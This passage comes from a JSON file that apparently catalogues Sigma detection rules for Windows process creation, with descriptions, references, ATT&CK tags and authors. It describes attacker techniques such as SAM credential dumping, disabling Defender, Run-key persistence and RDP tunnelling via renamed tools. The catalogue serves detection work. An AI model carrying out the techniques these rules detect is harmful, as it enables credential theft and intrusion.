"meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", - "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_export_critical_keys.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1012" - ], - "creation_date": "2020/10/12", - "filename": "proc_creation_win_regedit_export_critical_keys.yml", - "author": "Oddvar Moe, Sander Wiebing, oscd.community", - "level": "high", - "falsepositive": [ - "Dumping hives for legitimate purpouse i.e. backup or forensic investigation" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the export of the target Registry key to a file.", - "uuid": "f0e53e89-8d22-46ea-9db5-9d4796ee2f8a", - "value": "Exports Registry Key To a File", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", - "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_export_keys.yml" - ], - "tags": [ - "attack.exfiltration", - "attack.t1012" - ], - "creation_date": "2020/10/07", - "filename": "proc_creation_win_regedit_export_keys.yml", - "author": "Oddvar Moe, Sander Wiebing, oscd.community", - "level": "low", - "falsepositive": [ - "Legitimate export of keys" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the import of the specified file to the registry with regedit.exe.", - "uuid": "73bba97f-a82d-42ce-b315-9182e76c57b1", - "value": "Imports Registry Key From a File", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", - "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_import_keys.yml" - ], - "tags": [ - "attack.t1112", - "attack.defense_evasion" - ], - "creation_date": "2020/10/07", - "filename": "proc_creation_win_regedit_import_keys.yml", - "author": "Oddvar Moe, Sander Wiebing, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate import of keys", - "Evernote" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the import of a alternate datastream to the registry with regedit.exe.", - "uuid": "0b80ade5-6997-4b1d-99a1-71701778ea61", - "value": "Imports Registry Key From an ADS", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", - "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_import_keys_ads.yml" - ], - "tags": [ - "attack.t1112", - "attack.defense_evasion" - ], - "creation_date": "2020/10/12", - "filename": "proc_creation_win_regedit_import_keys_ads.yml", - "author": "Oddvar Moe, Sander Wiebing, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of regini.exe which can be used to modify registry keys, the changes are imported from one or more text files.", - "uuid": "5f60740a-f57b-4e76-82a1-15b6ff2cb134", - "value": "Modifies the Registry From a File", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Regini/", - "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regini", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regini.yml" - ], - "tags": [ - "attack.t1112", - "attack.defense_evasion" - ], - "creation_date": "2020/10/08", - "filename": "proc_creation_win_regini.yml", - "author": "Eli Salem, Sander Wiebing, oscd.community", - "level": "low", - "falsepositive": [ - "Legitimate modification of keys" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the import of an alternate data stream with regini.exe, regini.exe can be used to modify registry keys.", - "uuid": "77946e79-97f1-45a2-84b4-f37b5c0d8682", - "value": "Modifies the Registry From a ADS", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Regini/", - "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regini", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regini_ads.yml" - ], - "tags": [ - "attack.t1112", - "attack.defense_evasion" - ], - "creation_date": "2020/10/12", - "filename": "proc_creation_win_regini_ads.yml", - "author": "Eli Salem, Sander Wiebing, oscd.community", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious command line reg.exe tool adding key to RUN key in Registry", - "uuid": "de587dce-915e-4218-aac4-835ca6af6f70", - "value": "Reg Add RUN Key", - "meta": { - "refs": [ - "https://app.any.run/tasks/9c0f37bc-867a-4314-b685-e101566766d7/", - "https://docs.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_add_run_key.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001" - ], - "creation_date": "2021/06/28", - "filename": "proc_creation_win_reg_add_run_key.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reasons.", - "Legitimate administrator sets up autorun keys for legitimate reasons.", - "Discord" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of \"reg.exe\" commands with the \"add\" or \"copy\" flags on safe boot registry keys. Often used by attacker to allow the ransomware to work in safe mode as some security products do not", - "uuid": "d7662ff6-9e97-4596-a61d-9839e32dee8d", - "value": "Add SafeBoot Keys Via Reg Utility", - "meta": { - "refs": [ - "https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_add_safeboot.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2022/09/02", - "filename": "proc_creation_win_reg_add_safeboot.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Qbot used reg.exe to add Defender folder exceptions for folders within AppData and ProgramData.", - "uuid": "48917adc-a28e-4f5d-b729-11e75da8941f", - "value": "Registry Defender Exclusions", - "meta": { - "refs": [ - "https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/", - "https://redcanary.com/threat-detection-report/threats/qbot/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_defender_exclusion.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2022/02/13", - "filename": "proc_creation_win_reg_defender_exclusion.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Legitimate use" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects reg command lines that disable certain important features of Microsoft Defender", - "uuid": "452bce90-6fb0-43cc-97a5-affc283139b3", - "value": "Registry Defender Tampering", - "meta": { - "refs": [ - "https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_defender_tampering.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2022/03/22", - "filename": "proc_creation_win_reg_defender_tampering.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate use" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of \"reg.exe\" commands with the \"delete\" flag on safe boot registry keys. Often used by attacker to prevent safeboot execution of security products", - "uuid": "fc0e89b5-adb0-43c1-b749-c12a10ec37de", - "value": "Delete SafeBoot Keys Via Reg Utility", - "meta": { - "refs": [ - "https://www.trendmicro.com/en_us/research/22/e/avoslocker-ransomware-variant-abuses-driver-file-to-disable-anti-Virus-scans-log4shell.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_delete_safeboot.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2022/08/08", - "filename": "proc_creation_win_reg_delete_safeboot.yml", - "author": "Nasreddine Bencherchali, Tim Shelton", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of \"reg.exe\" commands with the \"delete\" flag on services registry key. Often used by attacker to remove AV software services", - "uuid": "05b2aa93-1210-42c8-8d9a-2fcc13b284f5", - "value": "Delete Services Via Reg Utility", - "meta": { - "refs": [ - "https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_delete_services.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2022/08/01", - "filename": "proc_creation_win_reg_delete_services.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through Windows Registry where the SAM database is stored", - "uuid": "038cd51c-3ad8-41c5-ba8f-5d1c92f3cc1e", - "value": "Registry Dump of SAM Creds and Secrets", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-1---registry-dump-of-sam-creds-and-secrets", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_dump_sam.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.002" - ], - "creation_date": "2022/01/05", - "filename": "proc_creation_win_reg_dump_sam.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of reg.exe and subsequent command line arguments for enabling RDP service on the host by tampering with the 'CurrentControlSet\\Control\\Terminal Server' subkeys", - "uuid": "0d5675be-bc88-4172-86d3-1e96a4476536", - "value": "Enabling RDP Service via Reg.exe", - "meta": { - "refs": [ - "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_enable_rdp.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.lateral_movement", - "attack.t1021.001", - "attack.t1112" - ], - "creation_date": "2022/02/12", - "filename": "proc_creation_win_reg_enable_rdp.yml", - "author": "@Kostastsale, @TheDFIRReport, slightly modified by pH-T", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the import of the '.reg' files from suspicious paths using the 'reg.exe' utility", - "uuid": "62e0298b-e994-4189-bc87-bc699aa62d97", - "value": "Imports Registry Key From a File Using Reg.exe", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/reg-import", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_import_from_suspicious_paths.yml" - ], - "tags": [ - "attack.t1112", - "attack.defense_evasion" - ], - "creation_date": "2022/08/01", - "filename": "proc_creation_win_reg_import_from_suspicious_paths.yml", - "author": "frack113, Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate import of keys" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects reg command lines that disables PPL on the LSA process", - "uuid": "8c0eca51-0f88-4db2-9183-fdfb10c703f9", - "value": "Registry Disabling LSASS PPL", - "meta": { - "refs": [ - "https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_lsass_ppl.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.010" - ], - "creation_date": "2022/03/22", - "filename": "proc_creation_win_reg_lsass_ppl.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services.\nAdversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start.\nWindows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services\n", - "uuid": "9b0b7ac3-6223-47aa-a3fd-e8f211e637db", - "value": "Service ImagePath Change with Reg.exe", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.011/T1574.011.md#atomic-test-2---service-imagepath-change-with-regexe", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_service_imagepath_change.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1574.011" - ], - "creation_date": "2021/12/30", - "filename": "proc_creation_win_reg_service_imagepath_change.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects potential use of an SSH utility to establish RDP over a reverse SSH Tunnel. This can be used by attackers to enable routing of network packets that would otherwise not reach their intended destination.", - "uuid": "8a3038e8-9c9d-46f8-b184-66234a160f6f", - "value": "Potential Remote Desktop Tunneling", - "meta": { - "refs": [ - "https://www.elastic.co/guide/en/security/current/potential-remote-desktop-tunneling-detected.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_desktop_tunneling.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021" - ], - "creation_date": "2022/09/27", - "filename": "proc_creation_win_remote_desktop_tunneling.yml", - "author": "Tim Rauch", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the desktopimgdownldr utility being used to download a remote file. An adversary may use desktopimgdownldr to download arbitrary files as an alternative to certutil.", - "uuid": "214641c2-c579-4ecb-8427-0cf19df6842e", - "value": "Remote File Download via Desktopimgdownldr Utility", - "meta": { - "refs": [ - "https://www.elastic.co/guide/en/security/current/remote-file-download-via-desktopimgdownldr-utility.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_file_download_desktopimgdownldr.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ], - "creation_date": "2022/09/27", - "filename": "proc_creation_win_remote_file_download_desktopimgdownldr.yml", - "author": "Tim Rauch", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects remote PowerShell sections by monitoring for wsmprovhost (WinRM host process) as a parent or child process (sign of an active PowerShell remote session).", - "uuid": "734f8d9b-42b8-41b2-bcf5-abaf49d5a3c8", - "value": "Remote PowerShell Session Host Process (WinRM)", - "meta": { - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190511223310.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_powershell_session_process.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.t1021.006" - ], - "creation_date": "2019/09/12", - "filename": "proc_creation_win_remote_powershell_session_process.yml", - "author": "Roberto Rodriguez @Cyb3rWard0g", - "level": "medium", - "falsepositive": [ - "Legitimate usage of remote Powershell, e.g. for monitoring purposes." - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Identifies use of various commands to query a systems time. This technique may be used before executing a scheduled task or to discover the time zone of a target system.", - "uuid": "b243b280-65fe-48df-ba07-6ddea7646427", - "value": "Discovery of a System Time", - "meta": { - "refs": [ - "https://eqllib.readthedocs.io/en/latest/analytics/fcdb99c2-ac3c-4bde-b664-4b336329bed2.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1124/T1124.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_time_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1124" - ], - "creation_date": "2019/10/24", - "filename": "proc_creation_win_remote_time_discovery.yml", - "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", - "level": "low", - "falsepositive": [ - "Legitimate use of the system utilities to discover system time for legitimate reason" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities by removing Windows Defender Definition Files", - "uuid": "9719a8aa-401c-41af-8108-ced7ec9cd75c", - "value": "Remove Windows Defender Definition Files", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remove_windows_defender_definition_files.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ], - "creation_date": "2021/07/07", - "filename": "proc_creation_win_remove_windows_defender_definition_files.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint.", - "uuid": "36480ae1-a1cb-4eaa-a0d6-29801d7e9142", - "value": "Renamed Binary", - "meta": { - "refs": [ - "https://attack.mitre.org/techniques/T1036/", - "https://mgreen27.github.io/posts/2019/05/12/BinaryRename.html", - "https://mgreen27.github.io/posts/2019/05/29/BinaryRename2.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_binary.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036.003" - ], - "creation_date": "2019/06/15", - "filename": "proc_creation_win_renamed_binary.yml", - "author": "Matthew Green - @mgreen27, Ecco, James Pemberton / @4A616D6573, oscd.community (improvements), Andreas Hunkeler (@Karneades)", - "level": "medium", - "falsepositive": [ - "Custom applications use renamed binaries adding slight change to binary name. Typically this is easy to spot and add to whitelist", - "PsExec installed via Windows Store doesn't contain original filename field (False negative)" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint.", - "uuid": "0ba1da6d-b6ce-4366-828c-18826c9de23e", - "value": "Highly Relevant Renamed Binary", - "meta": { - "refs": [ - "https://attack.mitre.org/techniques/T1036/", - "https://mgreen27.github.io/posts/2019/05/12/BinaryRename.html", - "https://mgreen27.github.io/posts/2019/05/29/BinaryRename2.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_binary_highly_relevant.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036.003" - ], - "creation_date": "2019/06/15", - "filename": "proc_creation_win_renamed_binary_highly_relevant.yml", - "author": "Matthew Green - @mgreen27, Florian Roth", - "level": "high", - "falsepositive": [ - "Custom applications use renamed binaries adding slight change to binary name. Typically this is easy to spot and add to whitelist" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects process creation with a renamed BrowserCore.exe (used to extract Azure tokens)", - "uuid": "8a4519e8-e64a-40b6-ae85-ba8ad2177559", - "value": "Process Creation with Renamed BrowserCore.exe", - "meta": { - "refs": [ - "https://twitter.com/mariuszbit/status/1531631015139102720", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_browsercore.yml" - ], - "tags": [ - "attack.t1528", - "attack.t1036.003" - ], - "creation_date": "2022/06/02", - "filename": "proc_creation_win_renamed_browsercore.yml", - "author": "Max Altgelt", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of renamed ftp.exe binary based on OriginalFileName field", - "uuid": "277a4393-446c-449a-b0ed-7fdc7795244c", - "value": "Renamed FTP.EXE Binary Execution", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Ftp/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_ftp.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059", - "attack.defense_evasion", - "attack.t1202" - ], - "creation_date": "2020/10/09", - "filename": "proc_creation_win_renamed_ftp.yml", - "author": "Victor Sergeev, oscd.community", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects renamed jusched.exe used by cobalt group", - "uuid": "edd8a48c-1b9f-4ba1-83aa-490338cd1ccb", - "value": "Renamed jusched.exe", - "meta": { - "refs": [ - "https://www.bitdefender.com/files/News/CaseStudies/study/262/Bitdefender-WhitePaper-An-APT-Blueprint-Gaining-New-Visibility-into-Financial-Threats-interactive.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_jusched.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.t1036.003" - ], - "creation_date": "2019/06/04", - "filename": "proc_creation_win_renamed_jusched.yml", - "author": "Markus Neis, Swisscom", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of a renamed meg.exe of MegaSync during incident response engagements associated with ransomware families like Nefilim, Sodinokibi, Pysa, and Conti.", - "uuid": "643bdcac-8b82-49f4-9fd9-25a90b929f3b", - "value": "Renamed MegaSync", - "meta": { - "refs": [ - "https://redcanary.com/blog/rclone-mega-extortion/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_megasync.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ], - "creation_date": "2021/06/22", - "filename": "proc_creation_win_renamed_megasync.yml", - "author": "Sittikorn S", - "level": "high", - "falsepositive": [ - "Software that illegaly integrates MegaSync in a renamed form", - "Administrators that have renamed MegaSync" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects process creation with a renamed Msdt.exe", - "uuid": "bd1c6866-65fc-44b2-be51-5588fcff82b9", - "value": "Renamed Msdt.exe", - "meta": { - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Msdt/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_msdt.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036.003" - ], - "creation_date": "2022/06/03", - "filename": "proc_creation_win_renamed_msdt.yml", - "author": "pH-T", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of renamed client32.exe (NetSupport RAT) via Imphash, Product and OriginalFileName strings", - "uuid": "0afbd410-de03-4078-8491-f132303cb67d", - "value": "Execution of Renamed NetSupport RAT", - "meta": { - "refs": [ - "https://redcanary.com/blog/misbehaving-rats/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_netsupport_rat.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2022/09/19", - "filename": "proc_creation_win_renamed_netsupport_rat.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of renamed paexec via imphash and executable product string", - "uuid": "7b0666ad-3e38-4e3d-9bab-78b06de85f7b", - "value": "Execution of Renamed PaExec", - "meta": { - "refs": [ - "sha256=01a461ad68d11b5b5096f45eb54df9ba62c5af413fa9eb544eacb598373a26bc", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_paexec.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036.003", - "attack.g0046", - "car.2013-05-009", - "attack.execution", - "attack.t1569.002" - ], - "creation_date": "2019/04/17", - "filename": "proc_creation_win_renamed_paexec.yml", - "author": "Jason Lynch", - "level": "medium", - "falsepositive": [ - "Unknown imphashes" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Execution of a renamed version of the Plink binary", - "uuid": "1c12727d-02bf-45ff-a9f3-d49806a3cf43", - "value": "Execution Of Renamed Plink Binary", - "meta": { - "refs": [ - "https://thedfirreport.com/2022/06/06/will-the-real-msiexec-please-stand-up-exploit-leads-to-data-exfiltration/", - "https://the.earth.li/~sgtatham/putty/0.58/htmldoc/Chapter7.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_plink.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036" - ], - "creation_date": "2022/06/06", - "filename": "proc_creation_win_renamed_plink.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of a renamed PowerShell often used by attackers or malware", - "uuid": "d178a2d7-129a-4ba4-8ee6-d6e1fecd5d20", - "value": "Renamed PowerShell", - "meta": { - "refs": [ - "https://twitter.com/christophetd/status/1164506034720952320", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_powershell.yml" - ], - "tags": [ - "car.2013-05-009", - "attack.defense_evasion", - "attack.t1036.003" - ], - "creation_date": "2019/08/22", - "filename": "proc_creation_win_renamed_powershell.yml", - "author": "Florian Roth, frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of a renamed ProcDump executable often used by attackers or malware", - "uuid": "4a0b2c7e-7cb2-495d-8b63-5f268e7bfd67", - "value": "Renamed ProcDump", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/sysinternals/downloads/procdump", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_procdump.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036.003" - ], - "creation_date": "2019/11/18", - "filename": "proc_creation_win_renamed_procdump.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Procdump illegaly bundled with legitimate software", - "Weird admins who renamed binaries (and should be investigated)" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of a renamed PsExec often used by attackers or malware", - "uuid": "a7a7e0e5-1d57-49df-9c58-9fe5bc0346a2", - "value": "Renamed PsExec", - "meta": { - "refs": [ - "https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/megacortex-ransomware-spotted-attacking-enterprise-networks", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_psexec.yml" - ], - "tags": [ - "car.2013-05-009", - "attack.defense_evasion", - "attack.t1036.003" - ], - "creation_date": "2019/05/21", - "filename": "proc_creation_win_renamed_psexec.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Software that illegaly integrates PsExec in a renamed form", - "Administrators that have renamed PsExec and no one knows why" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects the execution of rundll32.exe that has been renamed to a different name to avoid detection", - "uuid": "d4d2574f-ac17-4d9e-b986-aeeae0dc8fe2", - "value": "Renamed Rundll32.exe Execution", - "meta": { - "refs": [ - "https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_rundll32.yml" - ], - "tags": "No established tags", - "creation_date": "2022/06/08", - "filename": "proc_creation_win_renamed_rundll32.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects when 'DllRegisterServer' is called in the commandline and the image is not rundll32. This could mean that the 'rundll32' utility has been renamed in order to avoid detection", - "uuid": "2569ed8c-1147-498a-9b8c-2ad3656b10ed", - "value": "DllRegisterServer Call From Non Rundll32", - "meta": { - "refs": [ - "https://twitter.com/swisscom_csirt/status/1331634525722521602?s=20", - "https://app.any.run/tasks/f74c5157-8508-4ac6-9805-d63fe7b0d399/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_rundll32_dllregisterserver.yml" - ], - "tags": [ - "attack.execution" - ], - "creation_date": "2022/08/22", - "filename": "proc_creation_win_renamed_rundll32_dllregisterserver.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of renamed Remote Utilities (RURAT) via Product PE header field", - "uuid": "9ef27c24-4903-4192-881a-3adde7ff92a5", - "value": "Execution of Renamed Remote Utilities RAT (RURAT)", - "meta": { - "refs": [ - "https://redcanary.com/blog/misbehaving-rats/", - 